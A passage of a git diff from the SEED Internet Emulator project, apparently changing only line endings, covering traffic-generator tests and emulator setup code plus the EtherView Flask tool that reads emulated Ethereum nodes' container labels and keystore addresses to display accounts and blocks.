TrafficGeneratorTestCase(SeedEmuTestCase): - - @classmethod - def setUpClass(cls) -> None: - super().setUpClass() - cls.wait_until_all_containers_up(67) - for container in cls.containers: - if "iperf-receiver-1" in container.name: - cls.iperf_receiver_1 = container - elif "iperf-receiver-2" in container.name: - cls.iperf_receiver_2 = container - elif "iperf-generator" in container.name: - cls.iperf_generator = container - elif "ditg-receiver" in container.name: - cls.ditg_receiver = container - elif "ditg-generator" in container.name: - cls.ditg_generator = container - elif "multi-traffic-receiver" in container.name: - cls.multi_traffic_receiver = container - elif "multi-traffic-generator" in container.name: - cls.multi_traffic_generator = container - elif "scapy-generator" in container.name: - cls.scapy_generator = container - return - - @classmethod - def runCommand(cls, container, cmd, **kwargs) -> Tuple[int, str]: - """Runs a command on a given container. - - Parameters - ---------- - container : _type_ - A docker container that is currently running. - cmd : str - The command to be run. - - Returns - ------- - Tuple[int, str] - A tuple of the exit code (int) and the command output (str). - """ - exit_code, output = container.exec_run(cmd, **kwargs) - - return exit_code, output - - def test_package_installed(self): - self.printLog("\n-------- package installation test --------") - self.printLog("container : iperf-receiver-1") - exit_code, _ = self.runCommand(self.iperf_receiver_1, "which iperf3") - self.assertTrue(exit_code == 0) - - self.printLog("container : iperf-receiver-2") - exit_code, _ = self.runCommand(self.iperf_receiver_2, "which iperf3") - self.assertTrue(exit_code == 0) - - self.printLog("container : iperf-generator") - exit_code, _ = self.runCommand(self.iperf_generator, "which iperf3") - self.assertTrue(exit_code == 0) - - self.printLog("container : ditg-receiver") - exit_code, _ = self.runCommand(self.ditg_receiver, "which ITGRecv") - self.assertTrue(exit_code == 0) - - self.printLog("container : ditg-generator") - exit_code, _ = self.runCommand(self.ditg_generator, "which ITGSend") - self.assertTrue(exit_code == 0) - - self.printLog("container : scapy-generator") - exit_code, _ = self.runCommand(self.scapy_generator, "which scapy") - self.assertTrue(exit_code == 0) - - self.printLog("container : multi-traffic-receiver") - exit_code, _ = self.runCommand(self.multi_traffic_receiver, "which iperf3") - self.assertTrue(exit_code == 0) - exit_code, _ = self.runCommand(self.multi_traffic_receiver, "which ITGRecv") - self.assertTrue(exit_code == 0) - - self.printLog("container : multi-traffic-generator") - exit_code, _ = self.runCommand(self.multi_traffic_receiver, "which iperf3") - self.assertTrue(exit_code == 0) - exit_code, _ = self.runCommand(self.multi_traffic_receiver, "which ITGSend") - self.assertTrue(exit_code == 0) - - def test_traffc_targets_file_created(self): - self.printLog("\n-------- traffic targets file creation test --------") - - self.printLog("container : iperf-generator") - exit_code, output = self.runCommand( - self.iperf_generator, "cat /root/traffic-targets" - ) - self.assertTrue(exit_code == 0) - self.assertTrue("iperf-receiver-1" in output.decode()) - self.assertTrue("iperf-receiver-2" in output.decode()) - - self.printLog("container : ditg-generator") - exit_code, output = self.runCommand( - self.ditg_generator, "cat /root/traffic-targets" - ) - self.assertTrue(exit_code == 0) - self.assertTrue("ditg-receiver" in output.decode()) - - self.printLog("container : scapy-generator") - exit_code, output = self.runCommand( - self.scapy_generator, "cat /root/traffic-targets" - ) - self.assertTrue(exit_code == 0) - self.assertTrue("10.164.0.0/24" in output.decode()) - self.assertTrue("10.170.0.0/24" in output.decode()) - - self.printLog("container : multi-traffic-generator") - exit_code, output = self.runCommand( - self.multi_traffic_generator, "cat /root/traffic-targets" - ) - self.assertTrue(exit_code == 0) - self.assertTrue("multi-traffic-receiver" in output.decode()) - - def test_traffic_generator_script_created(self): - self.printLog("\n-------- traffic generation script creation test --------") - - self.printLog("container : iperf-generator") - exit_code, _ = self.runCommand( - self.iperf_generator, "cat /root/traffic_generator_iperf3.sh" - ) - self.assertTrue(exit_code == 0) - - - self.printLog("container : ditg-generator") - exit_code, _ = self.runCommand( - self.ditg_generator, "cat /root/traffic_generator_ditg.sh" - ) - self.assertTrue(exit_code == 0) - - self.printLog("container : scapy-generator") - exit_code, _ = self.runCommand( - self.scapy_generator, "/root/traffic_generator.py" - ) - self.assertTrue(exit_code == 0) - - self.printLog("container : multi-traffic-generator") - exit_code, _ = self.runCommand( - self.multi_traffic_generator, "cat /root/traffic_generator_iperf3.sh" - ) - self.assertTrue(exit_code == 0) - exit_code, _ = self.runCommand( - self.multi_traffic_generator, "cat /root/traffic_generator_ditg.sh" - ) - self.assertTrue(exit_code == 0) - - @classmethod - def get_test_suite(cls): - test_suite = ut.TestSuite() - test_suite.addTest(cls("test_package_installed")) - test_suite.addTest(cls("test_traffc_targets_file_created")) - test_suite.addTest(cls("test_traffic_generator_script_created")) - return test_suite - - -if __name__ == "__main__": - test_suite = TrafficGeneratorTestCase.get_test_suite() - res = ut.TextTestRunner(verbosity=2).run(test_suite) - - TrafficGeneratorTestCase.printLog("==========Test=========") - num, errs, fails = res.testsRun, len(res.errors), len(res.failures) - TrafficGeneratorTestCase.printLog( - "score: %d of %d (%d errors, %d failures)" - % (num - (errs + fails), num, errs, fails) - ) +#!/usr/bin/env python3 +# encoding: utf-8 + +from typing import Tuple +import unittest as ut +from tests import SeedEmuTestCase + + +class TrafficGeneratorTestCase(SeedEmuTestCase): + + @classmethod + def setUpClass(cls) -> None: + super().setUpClass() + cls.wait_until_all_containers_up(67) + for container in cls.containers: + if "iperf-receiver-1" in container.name: + cls.iperf_receiver_1 = container + elif "iperf-receiver-2" in container.name: + cls.iperf_receiver_2 = container + elif "iperf-generator" in container.name: + cls.iperf_generator = container + elif "ditg-receiver" in container.name: + cls.ditg_receiver = container + elif "ditg-generator" in container.name: + cls.ditg_generator = container + elif "multi-traffic-receiver" in container.name: + cls.multi_traffic_receiver = container + elif "multi-traffic-generator" in container.name: + cls.multi_traffic_generator = container + elif "scapy-generator" in container.name: + cls.scapy_generator = container + return + + @classmethod + def runCommand(cls, container, cmd, **kwargs) -> Tuple[int, str]: + """Runs a command on a given container. + + Parameters + ---------- + container : _type_ + A docker container that is currently running. + cmd : str + The command to be run. + + Returns + ------- + Tuple[int, str] + A tuple of the exit code (int) and the command output (str). + """ + exit_code, output = container.exec_run(cmd, **kwargs) + + return exit_code, output + + def test_package_installed(self): + self.printLog("\n-------- package installation test --------") + self.printLog("container : iperf-receiver-1") + exit_code, _ = self.runCommand(self.iperf_receiver_1, "which iperf3") + self.assertTrue(exit_code == 0) + + self.printLog("container : iperf-receiver-2") + exit_code, _ = self.runCommand(self.iperf_receiver_2, "which iperf3") + self.assertTrue(exit_code == 0) + + self.printLog("container : iperf-generator") + exit_code, _ = self.runCommand(self.iperf_generator, "which iperf3") + self.assertTrue(exit_code == 0) + + self.printLog("container : ditg-receiver") + exit_code, _ = self.runCommand(self.ditg_receiver, "which ITGRecv") + self.assertTrue(exit_code == 0) + + self.printLog("container : ditg-generator") + exit_code, _ = self.runCommand(self.ditg_generator, "which ITGSend") + self.assertTrue(exit_code == 0) + + self.printLog("container : scapy-generator") + exit_code, _ = self.runCommand(self.scapy_generator, "which scapy") + self.assertTrue(exit_code == 0) + + self.printLog("container : multi-traffic-receiver") + exit_code, _ = self.runCommand(self.multi_traffic_receiver, "which iperf3") + self.assertTrue(exit_code == 0) + exit_code, _ = self.runCommand(self.multi_traffic_receiver, "which ITGRecv") + self.assertTrue(exit_code == 0) + + self.printLog("container : multi-traffic-generator") + exit_code, _ = self.runCommand(self.multi_traffic_receiver, "which iperf3") + self.assertTrue(exit_code == 0) + exit_code, _ = self.runCommand(self.multi_traffic_receiver, "which ITGSend") + self.assertTrue(exit_code == 0) + + def test_traffc_targets_file_created(self): + self.printLog("\n-------- traffic targets file creation test --------") + + self.printLog("container : iperf-generator") + exit_code, output = self.runCommand( + self.iperf_generator, "cat /root/traffic-targets" + ) + self.assertTrue(exit_code == 0) + self.assertTrue("iperf-receiver-1" in output.decode()) + self.assertTrue("iperf-receiver-2" in output.decode()) + + self.printLog("container : ditg-generator") + exit_code, output = self.runCommand( + self.ditg_generator, "cat /root/traffic-targets" + ) + self.assertTrue(exit_code == 0) + self.assertTrue("ditg-receiver" in output.decode()) + + self.printLog("container : scapy-generator") + exit_code, output = self.runCommand( + self.scapy_generator, "cat /root/traffic-targets" + ) + self.assertTrue(exit_code == 0) + self.assertTrue("10.164.0.0/24" in output.decode()) + self.assertTrue("10.170.0.0/24" in output.decode()) + + self.printLog("container : multi-traffic-generator") + exit_code, output = self.runCommand( + self.multi_traffic_generator, "cat /root/traffic-targets" + ) + self.assertTrue(exit_code == 0) + self.assertTrue("multi-traffic-receiver" in output.decode()) + + def test_traffic_generator_script_created(self): + self.printLog("\n-------- traffic generation script creation test --------") + + self.printLog("container : iperf-generator") + exit_code, _ = self.runCommand( + self.iperf_generator, "cat /root/traffic_generator_iperf3.sh" + ) + self.assertTrue(exit_code == 0) + + + self.printLog("container : ditg-generator") + exit_code, _ = self.runCommand( + self.ditg_generator, "cat /root/traffic_generator_ditg.sh" + ) + self.assertTrue(exit_code == 0) + + self.printLog("container : scapy-generator") + exit_code, _ = self.runCommand( + self.scapy_generator, "/root/traffic_generator.py" + ) + self.assertTrue(exit_code == 0) + + self.printLog("container : multi-traffic-generator") + exit_code, _ = self.runCommand( + self.multi_traffic_generator, "cat /root/traffic_generator_iperf3.sh" + ) + self.assertTrue(exit_code == 0) + exit_code, _ = self.runCommand( + self.multi_traffic_generator, "cat /root/traffic_generator_ditg.sh" + ) + self.assertTrue(exit_code == 0) + + @classmethod + def get_test_suite(cls): + test_suite = ut.TestSuite() + test_suite.addTest(cls("test_package_installed")) + test_suite.addTest(cls("test_traffc_targets_file_created")) + test_suite.addTest(cls("test_traffic_generator_script_created")) + return test_suite + + +if __name__ == "__main__": + test_suite = TrafficGeneratorTestCase.get_test_suite() + res = ut.TextTestRunner(verbosity=2).run(test_suite) + + TrafficGeneratorTestCase.printLog("==========Test=========") + num, errs, fails = res.testsRun, len(res.errors), len(res.failures) + TrafficGeneratorTestCase.printLog( + "score: %d of %d (%d errors, %d failures)" + % (num - (errs + fails), num, errs, fails) + ) diff --git a/tests/traffic_generator/emulator-code/test-emulator.py b/tests/traffic_generator/emulator-code/test-emulator.py index 1a16a4bb7..f4c93ca0e 100755 --- a/tests/traffic_generator/emulator-code/test-emulator.py +++ b/tests/traffic_generator/emulator-code/test-emulator.py @@ -1,104 +1,104 @@ -#!/usr/bin/env python3 -# encoding: utf-8 - -from seedemu.compiler import Docker -from seedemu.core import Emulator, Binding, Filter -from seedemu.services import TrafficService, TrafficServiceType -from seedemu.layers import EtcHosts -from examples.internet.B00_mini_internet import mini_internet - -# Run the pre-built components -mini_internet.run(dumpfile='./base-internet.bin') -emu = Emulator() -# Load the pre-built mini-internet component -emu.load("./base-internet.bin") -base = emu.getLayer("Base") - -etc_hosts = EtcHosts() - -traffic_service = TrafficService() -traffic_service.install("iperf-receiver-1", TrafficServiceType.IPERF_RECEIVER) -traffic_service.install("iperf-receiver-2", TrafficServiceType.IPERF_RECEIVER) -traffic_service.install( - "iperf-generator", - TrafficServiceType.IPERF_GENERATOR, - log_file="/root/iperf3_generator.log", - protocol="TCP", - duration=600, - rate=0, -).addReceivers(hosts=["iperf-receiver-1", "iperf-receiver-2"]) - -traffic_service.install("ditg-receiver", TrafficServiceType.DITG_RECEIVER) -traffic_service.install( - "ditg-generator", - TrafficServiceType.DITG_GENERATOR, - log_file="/root/ditg_generator.log", - protocol="TCP", - duration=600, - rate=5000, -).addReceivers(hosts=["ditg-receiver"]) -traffic_service.install('scapy-generator', TrafficServiceType.SCAPY_GENERATOR, log_file="/root/scapy-logs").addReceivers(hosts=["10.164.0.0/24", "10.170.0.0/24"]) -traffic_service.install("multi-traffic-receiver", TrafficServiceType.DITG_RECEIVER) -traffic_service.install("multi-traffic-receiver", TrafficServiceType.IPERF_RECEIVER) -traffic_service.install( - "multi-traffic-generator", - TrafficServiceType.DITG_GENERATOR, - log_file="/root/ditg_generator.log", - protocol="UDP", - duration=120, - rate=5000, -).addReceivers(hosts=["multi-traffic-receiver"]) -traffic_service.install( - "multi-traffic-generator", - TrafficServiceType.IPERF_GENERATOR, - log_file="/root/iperf3_generator.log", - protocol="TCP", - duration=600, - rate=0, -).addReceivers(hosts=["multi-traffic-receiver"]) - -# Add hosts to AS-150 -as150 = base.getAutonomousSystem(150) -as150.createHost("iperf-generator").joinNetwork("net0") -as150.createHost("ditg-generator").joinNetwork("net0") -as150.createHost('scapy-generator').joinNetwork('net0') -as150.createHost('multi-traffic-generator').joinNetwork('net0') - -# Add hosts to AS-162 -as162 = base.getAutonomousSystem(162) -as162.createHost("iperf-receiver-1").joinNetwork("net0") -as162.createHost("ditg-receiver").joinNetwork("net0") -as162.createHost('multi-traffic-receiver').joinNetwork('net0') - -# Add hosts to AS-171 -as171 = base.getAutonomousSystem(171) -as171.createHost("iperf-receiver-2").joinNetwork("net0") - -# Binding virtual nodes to physical nodes -emu.addBinding( - Binding("iperf-generator", filter=Filter(asn=150, nodeName="iperf-generator")) -) -emu.addBinding( - Binding("iperf-receiver-1", filter=Filter(asn=162, nodeName="iperf-receiver-1")) -) -emu.addBinding( - Binding("iperf-receiver-2", filter=Filter(asn=171, nodeName="iperf-receiver-2")) -) -emu.addBinding( - Binding("ditg-generator", filter=Filter(asn=150, nodeName="ditg-generator")) -) -emu.addBinding( - Binding("ditg-receiver", filter=Filter(asn=162, nodeName="ditg-receiver")) -) -emu.addBinding(Binding('scapy-generator', filter = Filter(asn = 150, nodeName='scapy-generator'))) -emu.addBinding(Binding('multi-traffic-generator', filter = Filter(asn = 150, nodeName='multi-traffic-generator'))) -emu.addBinding(Binding('multi-traffic-receiver', filter = Filter(asn = 162, nodeName='multi-traffic-receiver'))) - - -# Add the layers -emu.addLayer(traffic_service) -emu.addLayer(etc_hosts) - -# Render the emulation and further customization -emu.render() -emu.compile(Docker(), "./output") +#!/usr/bin/env python3 +# encoding: utf-8 + +from seedemu.compiler import Docker +from seedemu.core import Emulator, Binding, Filter +from seedemu.services import TrafficService, TrafficServiceType +from seedemu.layers import EtcHosts +from examples.internet.B00_mini_internet import mini_internet + +# Run the pre-built components +mini_internet.run(dumpfile='./base-internet.bin') +emu = Emulator() +# Load the pre-built mini-internet component +emu.load("./base-internet.bin") +base = emu.getLayer("Base") + +etc_hosts = EtcHosts() + +traffic_service = TrafficService() +traffic_service.install("iperf-receiver-1", TrafficServiceType.IPERF_RECEIVER) +traffic_service.install("iperf-receiver-2", TrafficServiceType.IPERF_RECEIVER) +traffic_service.install( + "iperf-generator", + TrafficServiceType.IPERF_GENERATOR, + log_file="/root/iperf3_generator.log", + protocol="TCP", + duration=600, + rate=0, +).addReceivers(hosts=["iperf-receiver-1", "iperf-receiver-2"]) + +traffic_service.install("ditg-receiver", TrafficServiceType.DITG_RECEIVER) +traffic_service.install( + "ditg-generator", + TrafficServiceType.DITG_GENERATOR, + log_file="/root/ditg_generator.log", + protocol="TCP", + duration=600, + rate=5000, +).addReceivers(hosts=["ditg-receiver"]) +traffic_service.install('scapy-generator', TrafficServiceType.SCAPY_GENERATOR, log_file="/root/scapy-logs").addReceivers(hosts=["10.164.0.0/24", "10.170.0.0/24"]) +traffic_service.install("multi-traffic-receiver", TrafficServiceType.DITG_RECEIVER) +traffic_service.install("multi-traffic-receiver", TrafficServiceType.IPERF_RECEIVER) +traffic_service.install( + "multi-traffic-generator", + TrafficServiceType.DITG_GENERATOR, + log_file="/root/ditg_generator.log", + protocol="UDP", + duration=120, + rate=5000, +).addReceivers(hosts=["multi-traffic-receiver"]) +traffic_service.install( + "multi-traffic-generator", + TrafficServiceType.IPERF_GENERATOR, + log_file="/root/iperf3_generator.log", + protocol="TCP", + duration=600, + rate=0, +).addReceivers(hosts=["multi-traffic-receiver"]) + +# Add hosts to AS-150 +as150 = base.getAutonomousSystem(150) +as150.createHost("iperf-generator").joinNetwork("net0") +as150.createHost("ditg-generator").joinNetwork("net0") +as150.createHost('scapy-generator').joinNetwork('net0') +as150.createHost('multi-traffic-generator').joinNetwork('net0') + +# Add hosts to AS-162 +as162 = base.getAutonomousSystem(162) +as162.createHost("iperf-receiver-1").joinNetwork("net0") +as162.createHost("ditg-receiver").joinNetwork("net0") +as162.createHost('multi-traffic-receiver').joinNetwork('net0') + +# Add hosts to AS-171 +as171 = base.getAutonomousSystem(171) +as171.createHost("iperf-receiver-2").joinNetwork("net0") + +# Binding virtual nodes to physical nodes +emu.addBinding( + Binding("iperf-generator", filter=Filter(asn=150, nodeName="iperf-generator")) +) +emu.addBinding( + Binding("iperf-receiver-1", filter=Filter(asn=162, nodeName="iperf-receiver-1")) +) +emu.addBinding( + Binding("iperf-receiver-2", filter=Filter(asn=171, nodeName="iperf-receiver-2")) +) +emu.addBinding( + Binding("ditg-generator", filter=Filter(asn=150, nodeName="ditg-generator")) +) +emu.addBinding( + Binding("ditg-receiver", filter=Filter(asn=162, nodeName="ditg-receiver")) +) +emu.addBinding(Binding('scapy-generator', filter = Filter(asn = 150, nodeName='scapy-generator'))) +emu.addBinding(Binding('multi-traffic-generator', filter = Filter(asn = 150, nodeName='multi-traffic-generator'))) +emu.addBinding(Binding('multi-traffic-receiver', filter = Filter(asn = 162, nodeName='multi-traffic-receiver'))) + + +# Add the layers +emu.addLayer(traffic_service) +emu.addLayer(etc_hosts) + +# Render the emulation and further customization +emu.render() +emu.compile(Docker(), "./output") diff --git a/tools/Blockchain/EtherView/.gitignore b/tools/Blockchain/EtherView/.gitignore index 7ec0cb2e1..fd851c787 100644 --- a/tools/Blockchain/EtherView/.gitignore +++ b/tools/Blockchain/EtherView/.gitignore @@ -1,3 +1,3 @@ -keystore/ -emulator_info/ -emulator_data/ +keystore/ +emulator_info/ +emulator_data/ diff --git a/tools/Blockchain/EtherView/Dockerfile b/tools/Blockchain/EtherView/Dockerfile index 26c738ede..e4c27ff11 100644 --- a/tools/Blockchain/EtherView/Dockerfile +++ b/tools/Blockchain/EtherView/Dockerfile @@ -1,10 +1,10 @@ -FROM handsonsecurity/seedemu-multiarch-base:buildx-latest - -ARG DEBIAN_FRONTEND=noninteractive - -RUN apt-get update && apt-get install -y python3 python3-pip -RUN pip3 install flask web3==5.31.1 docker -COPY start.sh /start.sh -RUN chmod +x /start.sh -COPY . . -ENTRYPOINT ["sh", "/start.sh"] +FROM handsonsecurity/seedemu-multiarch-base:buildx-latest + +ARG DEBIAN_FRONTEND=noninteractive + +RUN apt-get update && apt-get install -y python3 python3-pip +RUN pip3 install flask web3==5.31.1 docker +COPY start.sh /start.sh +RUN chmod +x /start.sh +COPY . . +ENTRYPOINT ["sh", "/start.sh"] diff --git a/tools/Blockchain/EtherView/README.md b/tools/Blockchain/EtherView/README.md index b939691fa..0d8e12254 100644 --- a/tools/Blockchain/EtherView/README.md +++ b/tools/Blockchain/EtherView/README.md @@ -1,21 +1,21 @@ -# EtherView - -EtherView is a collection of tools that can be used to -interact with the Ethereum emulator. It has the following -features: - -- Viewing the balances for all the accounts - -- Viewing blocks and transactions (like EtherScan) - -- Viewing (or visualizing) interesting blockchain properties, such as - - base fee - - transaction pools on each node - -- Viewing POA/POS related information, especially POS. - -- Sample dApps. We should host some open-source dApps. Each dApp - is built into a container. They can be included when the emulator - is built. When EtherView detects it, the corresponding menu - will appear, leading us to the dApp. More thinking is needed - for this feature. +# EtherView + +EtherView is a collection of tools that can be used to +interact with the Ethereum emulator. It has the following +features: + +- Viewing the balances for all the accounts + +- Viewing blocks and transactions (like EtherScan) + +- Viewing (or visualizing) interesting blockchain properties, such as + - base fee + - transaction pools on each node + +- Viewing POA/POS related information, especially POS. + +- Sample dApps. We should host some open-source dApps. Each dApp + is built into a container. They can be included when the emulator + is built. When EtherView detects it, the corresponding menu + will appear, leading us to the dApp. More thinking is needed + for this feature. diff --git a/tools/Blockchain/EtherView/docker-compose.yml b/tools/Blockchain/EtherView/docker-compose.yml index 2b926c8c1..b3167764d 100644 --- a/tools/Blockchain/EtherView/docker-compose.yml +++ b/tools/Blockchain/EtherView/docker-compose.yml @@ -1,11 +1,11 @@ -version: "3" - -services: - seedemu-etherview: - build: . - container_name: seedemu-etherview - volumes: - - /var/run/docker.sock:/var/run/docker.sock - ports: - - 5000:5000 - image: handsonsecurity/seedemu-etherview +version: "3" + +services: + seedemu-etherview: + build: . + container_name: seedemu-etherview + volumes: + - /var/run/docker.sock:/var/run/docker.sock + ports: + - 5000:5000 + image: handsonsecurity/seedemu-etherview diff --git a/tools/Blockchain/EtherView/run.sh b/tools/Blockchain/EtherView/run.sh index 8ddab43ac..51d13c04a 100755 --- a/tools/Blockchain/EtherView/run.sh +++ b/tools/Blockchain/EtherView/run.sh @@ -1,4 +1,4 @@ -#!/bin/bash - -FLASK_APP=server flask run - +#!/bin/bash + +FLASK_APP=server flask run + diff --git a/tools/Blockchain/EtherView/server/__init__.py b/tools/Blockchain/EtherView/server/__init__.py index 284f8f489..834baf108 100644 --- a/tools/Blockchain/EtherView/server/__init__.py +++ b/tools/Blockchain/EtherView/server/__init__.py @@ -1,241 +1,241 @@ -from flask import Flask, send_from_directory -from .config import Config -from web3 import Web3 -import os, json, docker, subprocess -from web3.middleware import geth_poa_middleware -import os, sys -import time - -def create_app(test_config=None): - app = Flask(__name__, instance_relative_config=True) - client = docker.from_env() - - is_ready = 0 - containers_len = len(client.containers.list()) - while True: - print("waiting for all containers to be ready...") - time.sleep(3) - new_containers_len = len(client.containers.list()) - if containers_len == new_containers_len: - is_ready += 1 - else: - is_ready = 0 - if is_ready > 3: - break - containers_len = new_containers_len - - # Load the configuration - if test_config is None: - app.config.from_object(Config) - else: - app.config.from_mapping(test_config) - - # Set the global parameters using the configuration data - app.configure = {} - app.configure['eth_node_name_pattern'] = Config.ETH_NODE_NAME_PATTERN - app.configure['client_waiting_time'] = Config.CLIENT_WAITING_TIME - app.configure['key_derivation_path'] = Config.KEY_DERIVATION_PATH - app.configure['mnemonic_phrase'] = Config.MNEMONIC_PHRASE - app.configure['local_account_names'] = Config.LOCAL_ACCOUNT_NAMES - - # Load the data from the emulator - app.eth_accounts = load_eth_accounts(app.root_path) - app.eth_nodes = load_eth_nodes(app.root_path) - # Pick the first for the default web3 URL - eth_nodes_list = list(app.eth_nodes.items()) - assert len(eth_nodes_list) > 0 - app.web3_url = "http://%s:8545" % eth_nodes_list[0][1]['ip'] - print(app.web3_url) - - # Get the consensus from the emulator - app.consensus = get_eth_consensus() - - # Load blueprint modules - from server.general.views import general - from server.blockchain.blockchain import blockchain - from server.beaconchain.view import beaconchain - - app.register_blueprint(general) - app.register_blueprint(blockchain) - app.register_blueprint(beaconchain) - - return app - - -# Load all the accounts from the emulator -def load_eth_accounts(root_path): - path = os.path.join(root_path, "emulator_data") - filename = os.path.join(path, "accounts.json") - - if os.path.exists(filename) is False: # the file does not exist - getEmulatorAccounts(path, "accounts.json") - - with open(filename) as json_file: - eth_accounts = json.load(json_file) - - counters = {} - new_eth_accounts = {} - for address in eth_accounts: - account = eth_accounts[address] - #if self._chain_id != int(account['chain_id']): - # continue - - # Name might be duplicate, should we deal with it? - name = account['name'] - if name not in counters: # name already exists - counters[name] = 0 - else: - counters[name] += 1 - name = name + "-%d" % counters[name] - - new_eth_accounts[address] = {"name": name, - "chain_id": account['chain_id']} - - return new_eth_accounts - - -# Get the ethereum nodes info: container name and ID -def load_eth_nodes(root_path): - eth_nodes = {} - path = os.path.join(root_path, "emulator_data") - filename = os.path.join(path, "containers.json") - if os.path.exists(filename) is False: # the file does not exist - getContainerInfo(path, "containers.json") - - with open(filename) as json_file: - eth_nodes = json.load(json_file) - - return eth_nodes - - -# Cache the emulator account information in a file. -def getEmulatorAccounts(path, filename): - os.system("mkdir -p {}".format(path)) - - client = docker.from_env() - all_containers = client.containers.list() - - mapping = {} - counters = {} - for container in all_containers: - labels = container.attrs['Config']['Labels'] - if 'EthereumService' in labels.get('org.seedsecuritylabs.seedemu.meta.class', []): - chain_id = labels.get('org.seedsecuritylabs.seedemu.meta.ethereum.chain_id') - - # record which container each key file comes from - # cmd = ['docker', 'exec', container.short_id, 'ls', '-1', '/root/.ethereum/keystore'] - exit_code, output = container.exec_run('ls /root/.ethereum/keystore') - keyfilenames = output.decode("utf-8").rstrip().split('\n') - for keyfilename in keyfilenames: - keyfile = '/root/.ethereum/keystore/' + keyfilename - keyname = labels.get('org.seedsecuritylabs.seedemu.meta.displayname') - - print("Getting the key file from %s" % keyname) - # cmd = ['docker', 'exec', container.short_id, 'cat', keyfile] - exit_code, output = container.exec_run('cat {}'.format(keyfile)) - encrypted_key = output.decode("utf-8").rstrip().split('\n')[0] - account = json.loads(encrypted_key) - address = Web3.toChecksumAddress(account["address"]) - mapping[address] = { - 'name': keyname, - 'chain_id': chain_id - } - - save_to_file = os.path.join(path, filename) - with open(save_to_file, 'w') as json_file: - json.dump(mapping, json_file, indent = 4) - - return - -# Cache the container information in a file. -def getContainerInfo(path, filename): - os.system("mkdir -p {}".format(path)) - - client = docker.from_env() - all_containers = client.containers.list() - - mapping_all = {} - for container in all_containers: - labels = container.attrs['Config']['Labels'] - if 'EthereumService' in labels.get('org.seedsecuritylabs.seedemu.meta.class', []): - info_map = {} - info_map["container_id"] = container.short_id - info_map["displayname"] = labels.get("org.seedsecuritylabs.seedemu.meta.displayname") - ip = labels.get("org.seedsecuritylabs.seedemu.meta.net.0.address") - info_map["ip"] = ip.replace("/24", "") # remove the network mask - info_map["node_id"] = labels.get("org.seedsecuritylabs.seedemu.meta.ethereum.node_id") - info_map["chain_id"] = labels.get("org.seedsecuritylabs.seedemu.meta.ethereum.chain_id") - info_map["node_role"] = labels.get("org.seedsecuritylabs.seedemu.meta.ethereum.role") - info_map["consensus"] = labels.get("org.seedsecuritylabs.seedemu.meta.ethereum.consensus") - - mapping_all[container.name] = info_map - - save_to_file = os.path.join(path, filename) - with open(save_to_file, 'w') as json_file: - json.dump(mapping_all, json_file, indent = 4) - - return - - -# Get the consensus type from the emulator -def get_eth_consensus(): - client = docker.from_env() - all_containers = client.containers.list() - - for container in all_containers: - labels = container.attrs['Config']['Labels'] - if 'EthereumService' in labels.get('org.seedsecuritylabs.seedemu.meta.class', []): - return labels.get("org.seedsecuritylabs.seedemu.meta.ethereum.consensus") - -# Load the timestamp of genesis block -def load_genesis_time(root_path): - path = os.path.join(root_path, "emulator_data") - filename = os.path.join(path, "genesis_timestamp.json") - - if os.path.exists(filename) is False: # the file does not exist - return -1 - - with open(filename) as json_file: - timestamp = json.load(json_file) - - return timestamp - -# Get the timestamp of genesis block -def get_genesis_time(web3_url, consensus): - web3 = connect_to_geth(web3_url, consensus) - return web3.eth.getBlock(0).timestamp - - -# Connect to a geth node -def connect_to_geth(url, consensus): - if consensus== 'POA': - return connect_to_geth_poa(url) - elif consensus == 'POS': - return connect_to_geth_pos(url) - elif consensus == 'POW': - return connect_to_geth_pow(url) - -# Connect to a geth node -def connect_to_geth_pos(url): - web3 = Web3(Web3.HTTPProvider(url)) - if not web3.isConnected(): - sys.exit("Connection failed!") - web3.middleware_onion.inject(geth_poa_middleware, layer=0) - - return web3 - -# Connect to a geth node -def connect_to_geth_poa(url): - web3 = Web3(Web3.HTTPProvider(url)) - if not web3.isConnected(): - sys.exit("Connection failed!") - web3.middleware_onion.inject(geth_poa_middleware, layer=0) - return web3 - -# Connect to a geth node -def connect_to_geth_pow(url): - web3 = Web3(Web3.HTTPProvider(url)) - if not web3.isConnected(): - sys.exit("Connection failed!") - return web3 - +from flask import Flask, send_from_directory +from .config import Config +from web3 import Web3 +import os, json, docker, subprocess +from web3.middleware import geth_poa_middleware +import os, sys +import time + +def create_app(test_config=None): + app = Flask(__name__, instance_relative_config=True) + client = docker.from_env() + + is_ready = 0 + containers_len = len(client.containers.list()) + while True: + print("waiting for all containers to be ready...") + time.sleep(3) + new_containers_len = len(client.containers.list()) + if containers_len == new_containers_len: + is_ready += 1 + else: + is_ready = 0 + if is_ready > 3: + break + containers_len = new_containers_len + + # Load the configuration + if test_config is None: + app.config.from_object(Config) + else: + app.config.from_mapping(test_config) + + # Set the global parameters using the configuration data + app.configure = {} + app.configure['eth_node_name_pattern'] = Config.ETH_NODE_NAME_PATTERN + app.configure['client_waiting_time'] = Config.CLIENT_WAITING_TIME + app.configure['key_derivation_path'] = Config.KEY_DERIVATION_PATH + app.configure['mnemonic_phrase'] = Config.MNEMONIC_PHRASE + app.configure['local_account_names'] = Config.LOCAL_ACCOUNT_NAMES + + # Load the data from the emulator + app.eth_accounts = load_eth_accounts(app.root_path) + app.eth_nodes = load_eth_nodes(app.root_path) + # Pick the first for the default web3 URL + eth_nodes_list = list(app.eth_nodes.items()) + assert len(eth_nodes_list) > 0 + app.web3_url = "http://%s:8545" % eth_nodes_list[0][1]['ip'] + print(app.web3_url) + + # Get the consensus from the emulator + app.consensus = get_eth_consensus() + + # Load blueprint modules + from server.general.views import general + from server.blockchain.blockchain import blockchain + from server.beaconchain.view import beaconchain + + app.register_blueprint(general) + app.register_blueprint(blockchain) + app.register_blueprint(beaconchain) + + return app + + +# Load all the accounts from the emulator +def load_eth_accounts(root_path): + path = os.path.join(root_path, "emulator_data") + filename = os.path.join(path, "accounts.json") + + if os.path.exists(filename) is False: # the file does not exist + getEmulatorAccounts(path, "accounts.json") + + with open(filename) as json_file: + eth_accounts = json.load(json_file) + + counters = {} + new_eth_accounts = {} + for address in eth_accounts: + account = eth_accounts[address] + #if self._chain_id != int(account['chain_id']): + # continue + + # Name might be duplicate, should we deal with it? + name = account['name'] + if name not in counters: # name already exists + counters[name] = 0 + else: + counters[name] += 1 + name = name + "-%d" % counters[name] + + new_eth_accounts[address] = {"name": name, + "chain_id": account['chain_id']} + + return new_eth_accounts + + +# Get the ethereum nodes info: container name and ID +def load_eth_nodes(root_path): + eth_nodes = {} + path = os.path.join(root_path, "emulator_data") + filename = os.path.join(path, "containers.json") + if os.path.exists(filename) is False: # the file does not exist + getContainerInfo(path, "containers.json") + + 